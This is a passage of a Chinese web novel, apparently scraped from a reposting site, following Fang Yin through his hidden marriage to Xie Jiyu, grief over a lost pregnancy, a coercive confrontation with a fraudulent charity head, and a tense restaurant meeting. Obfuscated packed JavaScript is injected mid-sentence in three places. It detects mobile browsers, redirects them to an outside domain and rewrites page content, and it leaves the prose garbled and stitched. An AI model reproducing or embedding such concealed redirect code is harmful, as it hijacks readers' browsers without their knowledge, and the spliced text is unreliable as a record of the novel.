谢积玉的助理很有分寸,不该说的话一个字都没有提,只是把方引领到谢积玉的车边,替他打开车门之后留了一句“谢先生大概半个小时后就会过来”便走了。 方引坐在宾利的后排,他衣服还没干透,便觉得有些冷。 水汽和呼吸相伴,将车窗外的世界变成了一片朦胧的虚影,只能看到几块形状模糊的光源,那是公馆的一扇扇窗户。 偶尔有树枝被风吹过,那光便变成了摇摇欲坠的烛火。 车里似乎还残留着一些极浅的兰花香,不仔细闻的话都感受不到。 方引就这样进入了浅眠。 没过多久,谢积玉便打开了车门,那声音其实非常轻微,但方引还是一下子清醒了过来。 酒后的alpha少了平时那种拒人于千里之外的冷漠,但他的表现好像是车里压根没有方引这么一个人,几乎都没看他一眼。 谢积玉刚关上车门坐好,便微微呼了一口气,闭着眼仰头靠在椅背上,抬手解开自己的领带的时候挺轻松的样子,只是在解衬衫扣子的时候有些费力。 方引不禁开口:“我帮你吧。” 他话音刚落,谢积玉的手便放了下去,这就是默许了。 于是方引凑近谢积玉一些,两只手齐上,解开了那困住对方的衣扣。 他的指尖不小心触碰到了谢积玉的喉结,那一块的皮肤有些热,当然也有可能是自己的手太凉了。 所以方引迅速地收回了手。 谢积玉微微侧头看着方引,方引也察觉到了他的眼神。虽然他在等待的这段时间里方引早就想好了说辞,但是此刻还是有些紧张,像是被老师抽查背诵的小学生一般。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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只是他的座位在后排的拐角处,边上垂着丝绒幕布,位置上有人没人也没差。 方引没想到还有这个问题,一时语塞:“我......那天,我想,毕竟我们之前说好了,我们的关系不公开,也怕被人怀疑,所以最后才没进去。” 谢积玉,眉毛微挑,捏住方引的手腕加大了力道:“你之前倒是没想过这一点?” “我......” “这段关系最初,我就做了很大让步。几年来,我对你也算是客气吧。”谢积玉忽然把方引拉到他的怀里,两个人呼吸相交。 方引望着对方沾着香槟酒香气的,微红的薄唇,几乎有些移不开眼,没有发觉谢积玉其实用了一个问罪的语气。 “可是你现在对我还有一句实话吗?我不喜欢爱搞小动作的人,如果你有什么要求大可以直说。”谢积玉慢条斯理地理了理自己的袖口,“如果觉得这样的关系你再也受不了,大可以提离婚,我会配合。” 所有的暧昧都被击碎,露出了贫瘠无比的现实,或许那一天不远了。 而自己,又能撑到什么时候呢? 方引垂眸:“我没这样想过。” 下一秒谢积玉利落地推开了方引,冷冷地下逐客令:“够了,你走吧。” 方引静了两秒,下了车。 这个时候说无论是这次还是上次,都是因为担心谢积玉所以才变着法靠近他这种话,除了讽刺,方引想不到谢积玉会有别的回答方式。 所以他一句话都没反驳,反正他在谢积玉心里的为人已经不能再烂了。 只是这场景让方引又想起了刚结婚的第一个冬天的某日,谢积玉也是让他下了车。 不过不同的是,那天外面下着雪,今天则是下着雨。 那天他失去了和谢积玉的第一个孩子,而如今,他几乎没有什么东西可失去的了。 18. 小天使 紫屏山清晨,松林中绕着一些像是丝带一样的薄雾,太阳出来后才渐渐散去,隐隐约约可以看见其中的小道。 方引穿着一身黑色的冲锋衣,在山间轻快地穿行。 他走到小道的尽头,攀着藤蔓下到了一个流着溪水的浅滩上,踩着露出水面的几块大石头走到了溪流的另一侧,穿过一片小松树林后,一个木质的小屋静静地伫立着。 小木屋只有几平方米大小,看上去也有些年头了。外立面的铁皮已经有些锈迹,屋顶上的防水布垂到了屋檐下,已经变得破破烂烂。 方引打开门锁,夹杂着灰尘的空气扑面而来。 里面的陈设也很简单,一张单人小床紧靠着墙边放着,一个圆柱形木墩当床头柜,上面还放着一盏煤油灯。 另外一侧有一个高一些的木桌子上放着简单的小锅和碗筷,旁边的墙上还挂着绳子、斧头、铁盆和渔网,积了一些灰尘,都显得灰扑扑的。 方引随意把自己的包扔在小床上,就开始打扫这方小空间。 他非常细致地先是将灰尘扫去大半,然后拿上铁盆去小溪里装了一些水,再用抹布仔仔细细地擦拭小屋的每个角落。 如此反复几次后,直到水盆里的水变得清澈,才算是结束了。 方引坐在小床上,轻轻地按了一下木墩的侧面,一个隐藏的暗格弹了出来,里面放着一个手掌大小的白瓷罐子,罐口用红布和红绳封着。 方引的神情柔和了许多,他将那个瓷罐放在手中,摩挲了许久。 在三年前他跟谢积玉刚结婚不久之后,那是一个雪天,方引搭谢积玉的车回谢宅,两人在车上话不投机,谢积玉就把方引赶下了车,让他自己打车回去。 其实这倒不是什么太大的问题,虽然雪天难行,但当时还没到晚高峰,等个十几二十分钟还是可以打到车的。 只是谢积玉离开后,方引还没等几分钟,方家的人就找到了他,将他带了回去。 那天之后的记忆对方引来说有些模糊,好像是方敬岁暴怒地将一套摄影器材扔在方引面前,而这套东西是前不久方引买来给周知绪拍着玩解闷的。 方引不知道方敬岁发怒的原因是什么,只知道那天的他被罚跪在雪天的院子里,还没多久就腹部坠痛,膝盖下的雪染上了刺目的红色,很快他就不省人事。 等再次醒来方引才知道,他跟谢积玉的第一个孩子,没了。 自己作为beta,当时跟谢积玉也就有过两次夫妻之实,从来没想到如此低的男性beta受孕率会一下子发生在自己身上。 方敬岁的态度好了许多,在方引的病床边以一个父亲的形象去告诉他,只要有了孩子,就有机会将谢积玉攥在手里。 这个孩子没了没事,下一个孩子还有机会。 语言间循循善诱,背后却包藏祸心。 方引通体冰凉,他知道方敬岁是什么样的人,所以他知道自己不可以有孩子,更不能让孩子重复自己的路。 所以那次康复之后,方引便将避孕药伪装成维生素放在身边,以备不时之需。 他不能要孩子,可这并不代表着他不想要,更是对这个早夭的孩子心中有极大地愧疚。 所以这几年来,他定期会来这个小木屋与孩子共度一段时间,算是一种弥补。 方引不是没想过让孩子入土为安,只是他跟谢积玉的名字作为一个孩子的父母出现在墓碑上这件事,谢积玉暂时是不会答应的,方引也不想自找没趣,更不想让孩子觉得伤心。 到了中午,方引简单地吃了一些面包,收拾好东西锁好门离去。 他并没有沿着原路返回,而是继续往山里走。 在溪水的尽头,方引果然看到了有几个人穿着登山服的人聚在那里,正在吃东西的模样。 一个带鸭舌帽的男人站起来,用勺子敲了敲餐盒以吸引大家的注意,然后指了指身后捡到的几大袋垃圾:“今天上午,大家的成果还是非常不错的。下午,我们将会去集中处理掉它们。” 一个看上去很学生气的女孩举起了手:“是送去垃圾回收站吗?” 人群中有人笑了几声,女孩也不知道自己说错了什么,有些尴尬地放下了手。 “送去垃圾回收站,不代表这个地方以后不会出现垃圾。所以我们要做的是从根本上解决这个问题。”鸭舌帽男顿了顿,把手指向北面,“这类多数垃圾,都是两公里以外的山月酒店产生,里面的员工和顾客都脱不了了干系。我们要做的就是,将这些垃圾送回酒店,倒在酒店大堂里,让那些员工和客人亲自捡起来,否则我们就静坐示威。” 此话一出,好几个第一次参加的新人都在面面相觑。 因为对他们来说,只是在网上看到了一个公益徒步项目,了解了大概的时间地点之后就来参加了,并且前半程符合预期,谁都没想到最后需要把垃圾扔进酒店里还得示威。 大约是见新来的人都有些犹豫,鸭舌帽男又开口了:“大家好好想想,如果我们不这样做,以后垃圾还是会出现在这么漂亮的山里,那我们的努力不都白费了吗?难道我们只是为了清理那些不择手段的资本家造成的环境污染吗?我们林地基金,必须从根本上解决问题!” 有人因为他的话更加犹豫,有人却好像是听进去了,但是还是有些疑惑:“假如酒店不配合怎么办?我们要一直在那里等吗?” “无论多久,都等!这是林地基金的使命。”男人顿了顿,然后指了指坐在前面的一个人,“同意参加的,到副队长这里来登记一下,以后就是为环保做出过贡献的;不想参加的人现在就可以走,我们不需要拿环保作秀的人。” 最后这句话说的有些重,不少第一次参加的人脸都红了。 不一会,陆续有人站起来走到了副队长面前。 一开始说话的女孩有些犹豫地站起来,但被一起来的同伴拉住头也不回地离开了。 鸭舌帽男看上去对结果还比较满意,便拿着手机走远了几步,走到了一个背对人群的小山丘后面,拨通了一个电话,说着什么“都安排好了”之类的话。 尽管对方根本看不见他,但他还是点头哈腰,极尽谄媚。 等他放下手机转身的时候,看到一个人从另一个方向朝他走来。 对方一身黑色的冲锋衣装扮,带着口罩,双肩包下方的袋子将腰勒出一个劲瘦的弧度,整个人凌厉地像一把直插面门的刀。 鸭舌帽男意识到了不对劲,但是还没来得及说出什么话来,就被对方猛地一推撞在树上。 下一秒,他的一只胳膊便被对方扭脱臼了。但是他没有来得及喊救命,嘴就被捂住了。 黑衣人墨一样的眼睛一眨不眨,口罩后面的声音有些低沉:“韩毅,林地基金会会长、深海基金负责人、热带动物保护组织负责人、雪原生态研究协会副会长——你的头衔可真不少啊。” 韩毅的理智在胳膊脱臼的痛苦中被擒住,他额头冷汗涔涔,瞪大眼睛,不知所措。 对方又开口:“如果你觉得大可以把这些告诉那边的人,我不介意你喊出来。” 说罢,就收回了捂着韩毅的手。 而韩毅果然咬咬牙没敢弄出什么动静来,粗喘着气低声道:“你是谁,你想做什么?” “这么多年来,你以环保组织的名义诈到不少钱吧?”黑衣人漫不经心地从包里掏出一叠资料扔到韩毅脸上,“表面上说是为了生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15373268|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态环境,实际上只不过是向那些企业、组织和个人收环境评估费。只要给钱,捕杀鲸鱼都能被你说成是民俗文化。否则便要闹得对方举步维艰,我说的对吗?” 韩毅翻看着那几叠资料手都有点抖,面色又白了几分。 里面有他在不同组织里的活动痕迹和自己银行卡上的流水记录,甚至有几次是收钱替某个金主打压对手的事情,都在资料里面写的一清二楚。 “你......你想要干什么?” 黑衣人看着韩毅的眼睛,一字一句道:“海底隧道项目的抗议,你收了谁的好处?” 谁知道韩毅异常警惕:“你是谁派来的?” 海底隧道的项目虽然是谢积玉的领杉资本主导,但是中间牵扯政界商界的范围甚广,特别是政界,水深得难以想象,无数人指着这个登天梯,就连总统也不能免俗。 韩毅不是没有担心过这些势力会不会有所动作,只是这件事的收益实在是太大,他无法拒绝。 黑衣人道:“你真想知道我是谁派来的吗?” 韩毅望着对方乌黑的眼睛,忽然有些不寒而栗的感觉。来人身手利落,几乎没给自己反抗机会就卸了自己胳膊,应该有点背景在身上。 或许常在河边走,或许是一直以来的隐忧被勾了起来,对视的短短几秒之间,结果不用说一个字就见了分晓。 韩毅苍白着脸移开了目光:“背后的人我不能说,你直接想说你要什么吧。” 黑衣人瞥了一眼不远处围在一起的人,特别是几个有些惶恐不安的新人:“这就是你们的模式吗?每次弄太出格的事情的时候就找一些不懂内情的又好拿捏得外人来做,到时候有人报警,就把新人当替死鬼,你们逃之夭夭。” 事到如今也没有什么好隐瞒的,韩毅承认了。 “我的需求很简单,你的海外账户会收到一笔100万的钱,你们停止对海底隧道的抗议活动,不然刚才你看到的资料今晚会在互联网上公开。”黑衣人顿了顿,将手轻轻地放在韩毅那只伤了的胳膊上,“到金主那,知道该怎么说吗?” 韩毅点头如捣蒜,生怕眼前这个不知什么来头的人再攻击他。 对方双眼弯起一个弧度,趁着韩毅分神的时候利落地“咔嚓”几声便将他的胳膊接上了:“最近记得多休息,不要提重物,你这个往酒店里扔垃圾的活动建议取消吧。” 这句话让韩毅目瞪口呆地愣在原地,但对方转身几步便跨过了崎岖的山头,很快就消失了。 韩毅一屁股坐在了地上。 下一秒,他连忙将那些资料撕得细碎,又将碎纸塞在大石头的根部,最后再拿泥土和草叶掩埋,这才算完。 黑衣人又穿过了一条山谷,这才从背包里拿出保温杯,摘下口罩喝了水。 他的额发都有些汗湿了,不过他的表情还算放松,把“深海基金”这件事解决心里一块石头也算放下了。 只是想起那天雨夜车里谢积玉对他那些不满的话语,方引却还是什么办法都没有。 山林间弥漫着初夏的松脂香气,除了时不时的鸟叫,方引行走的时候只能听到自己的脚步声。 所以当一个哭声出现的时候,他凝神听了好几秒才确定方向。 方引调转方向,翻过一个小山包后声音更加清晰了,是一个孩子的哭声。 山林里听到这个声音不算是一个好的预兆,方引小心翼翼地靠近那地方,越过一小片林子之后的水边草地上,看到了声音的来源。 午后的阳光穿过层层叠叠的树冠,一群圆乎乎的光点被错落有致地洒下来。 一个穿粉裙子的小女孩趴在草地上,像一个小天使,让方引脚下都有些失重。 19. 三缄其口 几个呼吸之后,方引的理智才重新回笼。 这应该是个迷路的孩子,穿的很好,应该是刚走失不久,或许是后山处的那个酒店出来的。 方引小心翼翼地走过去,小女孩大概也是听到了脚步声,一下子从草地上坐起来,有些警惕地看着方引。 女孩两三岁的样子,小脸通红,额发都被汗湿了,眼角的泪珠还没干透。 “小朋友你不要怕,叔叔不是坏人。”方引蹲下来,没有离女孩太近,声音轻轻的,“你爸爸妈妈在哪里?” 小孩怯生生地开口:“保姆阿姨丢了......” 奶声奶气的声音因为哭都有些沙哑了,方引有些心疼的靠过去,拿出湿纸巾帮她擦了擦脸。 孩子的皮肤太娇嫩,方引生怕自己弄痛她,所以动作也很轻。 哭了这么久肯定又干又渴,方引便倒了自己保温壶里的小半杯热水给她:“慢点喝,等会叔叔带你去找你的保姆阿姨好吗?” 经过一番简单的交流,方引确认她就是来自山月酒店的,爸爸在附近工作,就跟跟保姆出来玩,却一不小心走散了。 大约是两人熟悉了一些,小女孩看上去也没那么怕了,任由方引把她抱起来。 他循着地图往酒店的方向走,大约走了十几分钟,小女孩忽然开口道:“叔叔,谢谢你。” 方引在医院的时候也接过不少这样小朋友,大部分孩子看到穿白大褂的医生都会吓得哇哇大哭,现在这样一个小甜包一样的孩子在怀里,还这样乖,方引第一次感觉到了什么叫心都要化了,连声音都柔了好几度:“不用这么客气。” “可是爸爸说,如果有人帮助了穗穗,穗穗是要表示感谢的。” “是哪个sui,可以告诉叔叔吗?” “麦穗的穗!”小女孩忽然两眼放光,“爸爸说生我的时候正好是收麦穗的季节,所以我叫穗穗!” 方引摸摸她的头:“真好听。” 小女孩圆溜溜的眼睛转了好几圈,才下了重大决心一般道:“我有一个草莓蛋糕,可以分给叔叔,表达我的感谢。” 方引露出了一个浅笑,心想想,那肯定是她最喜欢吃的东西。 他还没想到要怎么推掉小女孩的盛情邀约,就听见远处有人朝着他这边大喊:“穗穗!穗穗!” 方引顺着声音的方向望去,下一秒却听到了另一道熟悉的声音:“方医生?怎么是你?” 方引定睛一看,竟然是姜舟雨。 她穿着一身休闲装正小跑过来,她边上还有一个矮一些的女士,从穿着和身后背的包来看,大概是孩子口中的保姆。 两人气喘吁吁地跑到方引面前,小女孩朝着保姆伸出了手要抱抱,嘴都撇了撇,似是要哭。 保姆把孩子从方引的怀里抱出来,又检查了一下确认没受什么伤,如释重负地舒了一口气,声音都有些颤抖:“幸好没事幸好没事......” 姜舟雨也松了一口气:“方医生,万幸这孩子是被你找到了。” 方引道:“我今天刚好来山里徒步,遇见这小姑娘,听她描述就往酒店方向来了。” “她我朋友家的孩子,在山里走失真的是太危险了,幸好没事。”姜舟雨也擦了擦自己额头上的汗,然后对着保姆介绍方引,“这是我的同事,医科附属医院的主治医生方引。” 保姆几乎是千恩万谢地对方引鞠躬,方引一边婉拒一边道:“毕竟出了汗,你带她回去洗个澡,补充点电解质,别感冒了才好。” 姜舟雨接着对女孩道:“以后要仔细跟着保姆阿姨知道吗?不然你爸爸会担心的。” 穗穗大约也是知道自己做错了事情,垂下头,情绪低落了许多。 方引在晏穗面前蹲下,看着她的眼睛道:“其实大人也很不乖,也没有那么聪明。所以作为小朋友要好好看着他们,不然一不小心他们就不见了。” 方引的眼神很认真,姜舟雨看着他俊秀的侧脸,然后也俯身蹲在了方引边上,对晏穗道:“方医生说得对,小朋友其实比大人厉害多了。” 穗穗好奇地开口:“真的吗阿姨?那我爸爸他也是这样吗?” 姜舟雨摸了摸她的头:“当然,你爸爸比一般人还要笨一点,所以,你一定要好好陪着他。” 小姑娘思考了一会,像是肩负了什么使命一般地点点头:“我懂了。姜阿姨、方叔叔,再见,我要回去守护我爸爸了。” 然后拉着保姆的手往酒店的方向走去。 看着她们的背影,不知道为什么,方引的眼眶有些热。 他忽然想起那个仅仅只在他身体里停留了一个多月的孩子,如果能出生的话,现在大约也是这个年纪,也会这样牵着他的手吧。 不过在姜舟雨发现之前,他已经快速地恢复了常态:“姜医生,没什么事的话,那我就先走了,要下山回城了。” “我也正好要回,不如搭我的车一起?”姜舟雨转头看着方引,“你今天真的是帮了我大忙,晚上我请你吃饭吧。赏光吗?” 姜舟雨开车很稳,方引本来就有些累了,很快便在副驾驶睡着了。 等方引再次醒来的时候,车子已经停在了首都一座地标建筑的地下停车场。 姜舟雨抿了抿双唇,收起口红道:“醒了?那我们下车吧。” 方引有些不好意思地解开安全带:“不好意思了,不知不觉就睡过去了。” “没事,也就刚停下几分钟而已。”姜舟雨拿上包之后又锁上了车,“这家店客人是能定制专属菜单的,虽然位置难订但菜的味道都还不错。” 两人乘着电梯一路上到大厦的顶层,等电梯门开的时候,方引有些理解为什么说这个餐厅难定了。 浓绿的树荫遮蔽了玻璃幕墙后刺眼的夕阳,空气中弥漫着湿润的泥土气息,脚下石阶的缝隙里长满了翠绿的苔藓,两边的绣球花开得正好。 偶尔能听到树枝晃动的声音,那是五彩斑斓的金刚鹦鹉恰好飞过。 这怎么看都不像是首都地标建筑的顶部,而更像是一处幽静的世外桃源。 侍者将他们二人带到一个绿树半掩的位置上,既能俯瞰都市晚景,周身又有足够有自然的芬芳笼罩,惬意非凡。 “这份是我的菜单,这份是餐厅的菜单,你看看有什么喜欢的?” 方引礼貌地把两份菜单双手又递了回去:“除了鱼不吃,别的我都不忌口,你点就好。今天我是来蹭饭的,没什么要求。” 姜舟雨点点头,边翻菜单上边道:“今天吃的清淡的也挺不错。我们要竹笙豆腐汤两例、羊肚菌酿鲜虾、碳烤羊排,再来一份黑松露蘑菇烩饭。” 侍者将菜单拿走后,两人又随意闲聊起来。 原来姜舟雨就是首都本地人,虽然出国深造了几年之后才回来,但已经是这家店的老客了。 “其实首都变化也不小,好多我以前常去的地方都变得不一样了。”姜舟雨身体微微前倾,双手交叉撑在下巴处,“你呢,有没有什么好吃好玩的店推荐?” 方引的朋友不多,能常常一起出门的就更少了,而且他大部分时间都放在工作上,平常有时间的时候首选去陪周知绪,其次就是去山里走走。 所以他下意识只能想起那个他帮周知绪买甜品的小铺子。 “我家里人有一个很喜欢的甜点铺子,下次我带到医院给你尝尝。” 姜舟雨细长的双眉微垂,拿起茶壶边给方引添水边道:“家里人,不会是对象吧?” 方引一愣,赶忙摇头:“我没结婚。家里人,是......我的母亲。” 姜舟雨双眼眯起,笑着看着方引:“好巧,我也 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他有时候能察觉到姜舟雨想要抛话题给他互动的意图,但他着实是搭不上话,直到姜舟雨聊起了她在海外求学时候的经历,方引敏锐地捕捉到了话里的关键词。 “那你接触过罗伯特教授吗?就是那位为将军做过弹片取出手术的?” 姜舟雨点点头:“他是我导师的朋友,我跟着导师一起跟他接触过的,挺有个性的老教授。” 方引身体往前倾了一些,胳膊肘搭在桌上,认真地看着姜舟雨的眼睛:“那你平常会跟他联系吗?” “怪脾气的大佬,只有他找别人的份儿。”姜舟雨边摇头边从手机里翻出一张图片,然后推到两人中间的桌面上,“今年夏天有个在伊斯亚特岛的医学研讨会,他会去。这个消息一出来,我一堆同学都想拿张邀请函去见他呢,但我看有些困难,毕竟门槛比较高。” 方引轻轻地叹了口气,乌黑的额发随着垂首的动作落下来,只看得见白皙的下半张脸。 姜舟雨下意识地身体前倾:“怎么了?” 方引摇摇头,露出一个有些勉强的笑:“其实我也挺想去的,但估计我是没资格的。” 姜舟雨道:“你要是真的想去,我可以通过我的导师去问问。虽然不一定能保证什么,但至少是个机会。” 方引的眼睛微微亮起来,情不自禁地身体又前倾了一些:“真的可以吗?” 两人的身影在绿树掩映中靠得很近,好似非常亲昵。 “方引?” 就在这个当下,一个有些熟悉的声音响起。 方转过头去看,只见叫他名字、正走过来的人正是池青。 池青穿着一身白色装,双颊微红地双手撑在餐桌边,一字一顿道:“好——巧——” 方引站起来介绍双方:“这是姜舟雨,我医院的同事。姜医生,这是我的高中同学,也是好朋友,池青。” 池青的笑容有些大大咧咧的,朝着姜舟雨大幅度地摆了摆手当是打招呼了。 方引看着池青的样子便凑近了一些,果然闻到了他身上的酒气,轻声道:“你这是怎么了,喝了多少?” 池青双手搭上方引的肩膀,大笑道:“没事,今天太开心了,所以多喝了一些。” 他的袖口有些湿,而且酒气更加明显,看来是粘上了酒液。 方引有些担心:“要不等会我送你回家吧,你稍等我一会。” 池青摇摇头:“你吃你的,有人送。” 话音刚落,他就转过头去。 下一秒,有个人从门口处走进来,站在过道上看向他们这边,然后走了过来。 对方的目光冷淡地扫过方引和姜舟雨,像是在看什么令人厌烦的物件,然后落在了池青的身上。 方引觉得那一瞬间呼吸有些停滞。 对方正是快十天没见的谢积玉。 20. 三重隐喻 方引的心跳似乎停了一下,接着剧烈地仿佛要跃出胸腔。 血液似乎也随之鼓噪起来,一股股地像是涨潮的海水,冲击得他几乎站不稳。他不禁抬起左手捂住了耳朵,想缓解一下有些眩晕的大脑。 姜舟雨有些担心地轻拍方引的手臂:“怎么了,有哪里不舒服吗?” 方引堪堪找回自己的神志,摇摇头:“我没事。” 谢积玉一身黑色的西装,跟池青站在一起的样子,真是恍如隔世。 方引想起了那张在校园论坛上挂了许多年的照片,他们曾是学校里受同学们艳羡的一对,后来不知为何又分开,成了许多人口中的遗憾。 而如今,他们又站在了一起,好像什么都没有变过那样。 方引的指尖刺进手心,他知道眼下更重要的是牢记自己在外的身份,千万不要露出什么马脚。 池青介绍道:“这是谢积玉,你还记得他吧。” 方引反应了一会才装出刚认出来对方一般,他扶了扶自己的眼镜:“啊......有印象,记得的。挺巧。” 谢积玉看着方引,微微挑了一下眉,让方引不得不心虚地移开眼神。 “有什么巧的,有人刻意罢了。”池青的声音有些冷淡下来。 谢积玉面上一片坦然。 刻意。 方引在心里将这个词翻来覆去地想了好几次,最后又想到谢积玉刚才的眼神,心里不由得产生了一股焦躁的感觉。 或许没有人比方引本人更清楚初恋在一个人生命中占据的尺度了。 谢积玉牢牢占据他的心,而几年过去,池青还站着谢积玉的心吗? 就在这时,谢积玉忽然对方引道:“我们上一次见是什么时候?有点没印象了。” 上一次见,不就是在丝带湖公馆那一夜。 那天晚上两人散的不愉快,方引不知道谢积玉的气有没有消掉一些。 方引的嗓音有些哑:“上一次......应该都是高中的时候了吧。” 他按在桌面上的手不自觉地用力,指尖都有些发白。 “是啊,十年没见。”谢积玉的重音落在最后四个字上,话是对池青说的,眼睛却一直看着方引,“别打扰别人了,我们该走了。” 姜舟雨看了方引血色尽褪的指尖,又看了看眼前三个站着的男人,不由得蹙起眉。 她总觉得好像哪里有些奇怪,但又说不上来。 池青却没回应谢积玉,声音里似有些委屈地对方引道:“我回来这么久,你还没跟我单独吃过饭呢。” 方引勉强地笑了一声:“今天是我碰巧跟姜医生一起,下次我一定请你。” “这个地方位置可不好定啊。”池青有些大舌头,眼神在方引和姜舟雨身上扫了一个来回,笑容有些神秘,“你们同事关系挺好嘛。” 方引余光看到了谢积玉冷下去的神色,大约是不想在这里浪费时间了。 而方引知道,自己不得不赶紧结束这段对话,让他们两人离开。 让自己的丈夫和初恋离开。 方引喉头苦涩,但他不得不装得什么事都没有发生,将眼前的人只当成高中同学。 不知道为什么,方引想起了他跟谢积玉领证的那天。 那是一个秋日,天气是极好的。 气温已经低了下来,但被阳光照到的地方还是很温暖。 婚姻登记所的墙外种了许多高大的梧桐,金黄色的落叶一片一片,缓缓地落在地上。阳光温柔地落在大地上,空气中都漂浮着暖暖的木质香。 无数领完证的年轻人都会选择在梧桐树下拍合影,见证他们踏入新的人生阶段。 方引在旁边的露天老茶馆里从早上9点坐到了下午4点,就在婚姻登记所关门前的一个小时,谢积玉站到了他的面前。 谢积玉的眼神已经再也没有了刚得知需要联姻时的愤怒与无奈,像是木头燃尽之后留下的白色灰烬,空留一片淡淡的冷意。 他对方引说,希望你别有后悔的那天。 这是方引自己的选择,那时候的方引在心里告诉自己绝不后悔。 只是现在,眼前二人站在一起的模样,像极了高中的时候不止一次谢积玉会等池青下课的样子,如今看起来别无二致。 可现在的他,只觉得自己想个窃取宝物的小偷一般,无地自容。 方引喉咙发紧,只想让对话赶紧结束:“你要是喜欢,下次我请你。你们快走吧,别耽误后面的......事。” 他话音刚落,谢积玉耐心终于耗尽,转身便走,扔给池青一句:“楼下等你。” 池青眯起双眼,对着方引摇了摇手机:“那你下次一定要找我啊。” 说完之后才跟上谢积玉的脚步离开了。 直到两人的背影消失在视野中,方引才有些脱力地坐回了椅子上,面色苍白。 姜舟雨将拿起茶壶,给方引面前的水杯添满了水,轻声道:“等会我送你回家吧。” 两人有些沉默地结束了这一餐饭,然后走进了电梯。 方引放空地看着液晶屏幕上不断下降的数字,只觉得心乱如麻。 天色早已暗了下来,从观光电梯朝外望去,繁忙的车流拖着红色的尾灯,虽然行色匆匆,但是总是有一盏灯火在等着他们的。 或许唯有方引,不知道自己在干什么,更知道自己要往哪里去。 只能被困在了一滩烂泥里,动弹不得。 自从池青回国那天的接风宴开始,方引不是没有想过,或许有一天谢积玉和池青回再次相遇。 有可能他们会形同陌路,看见了就当是没看见。 有可能就是点头之交,只当成一个学生时代的朋友来看。 当然,最糟糕的莫过于旧情复燃,届时方引会同时失去这段婚姻关系和与池青之间多年的情谊。 但让他没想到的是,这样的事情这么快就发生了。 今天看来,池青和谢积玉已然是一副熟稔的样子出双入对,或许早在池青回国,不,或许是在池青还没回国的时候,两个人就已经有联系了也说不定。 池青现在名气也不小了,或许有一天,自己会在新闻上看见二人在一起的照片吧。 而自己到时候只有一个结局,那就是从他们的生活中黯然退场,不得不回到那个充满伤痛和陈腐的少年时代。 电梯到负一层缓缓打开,方引轻轻地呼出了一口气。 姜舟雨在车前停下,刚刚摸到车门把手的时候忽然放了下来,转过身对方引道:“伊斯亚特岛的医学研讨会,我会尽量帮你争取一张门票的。” 方引心里很是感激,竭力掩盖自己面上的郁色:“没有也没关系,无论如何我都要谢谢你。” 他不知道自己此刻的眼睛里还残留着一丝仓皇无措,却又竭力地支撑着自己不可倒下,像是一株飓风过境后依旧扎根在土地里的植物。 alpha的心口忽然像是被羽毛扫过一般。 姜舟雨红唇抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15373270|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了抿,向前半步:“所以无论有什么不开心的,至少这一刻,能开心一会吧?” 方引笑了笑,他抬头看向姜舟雨。 两人的身高差不多,在对视的这一刻,或许是因为自己今天帮她找到朋友家小孩的原因,这确实不算是一件小事,方引直觉感受到了对方的好感。 他的朋友不多,自然不可以辜负这样的好意。 方引道:“无论结果怎么样,到时候我请你吃饭,全首都的餐厅,随你挑。” 就在这个档口,停车场侧边照明灯大约是因为电流不稳的原因,忽明忽暗。 方引下意识朝那个方向望去,却发现在这样忽明忽暗的灯光下,停着一辆熟悉的宾利。 车的后排车窗半开,谢积玉正看向他们这边,眼底一片幽深,也不知道看了多久。 方引只觉得自己的心跳和那个坏掉的灯频率相合了。 他赶忙低下头胡乱找了一个理由:“我忽然想起来有些事,就不跟你一起走了。” 姜舟雨道:“不要紧吧?在哪里,我送你过去也行。” 方引赶紧摇摇头:“不用了,是小事。” 姜舟雨有些半信半疑地点点头,上车后发动了车子。 方引在原地看着她驶出地下停车场,才小步快走到谢积玉的车前。 他以为谢积玉跟池青一起去了什么地方,所以眼下在这里又遇到着实是没有想到,两人对视了两三秒,方引也沉默了两三秒。 随后谢积玉冷漠地将眼神从方引的身上转移到自己的正前方,将他那一侧的车窗玻璃升了上去。 方引几乎想都没有想,伸出手去搭在正在上升的车窗上,下意识道:“等一下......” 谢积玉皱着眉松开了车窗的上升按钮,看向他:“有事?” “池青不在吗?你刚刚说楼下等他,是要一起去什么地方吗......” 等方引鬼使神差地问出这个问题之后,他的声音到最后细如蚊呐,因为他忽然意识到自己这话听起来像是一个对丈夫查岗的妻子。 谢积玉笑了,只是那笑却并没有到达眼底:“你们是不是一个多月前就见过了。” 方引耳尖薄红:“是的,一起吃了饭。” “我们三个人也算是高中的旧相识了,你怎么也没告诉我?” 没说,不过是担心自己最害怕的情况发生罢了。 他和谢积玉之间的关系,如风雨中飘摇的蛛丝,经不起一点点考验。 但在谢积玉的追问下,方引还是有些愧疚地垂下了头,后颈处的嶙峋脊骨撑起了薄薄的皮肤,在阴冷的停车场里,显现出一种毫无血色的惨白。 见方引沉默,谢积玉又道:“你觉得我们一起会去什么地方?还是说你想要我带他回谢家,告诉他这是我跟他的好朋友方引婚后一起生活的家吗?” 方引的脸色终于变得更加难看:“你别告诉他。” 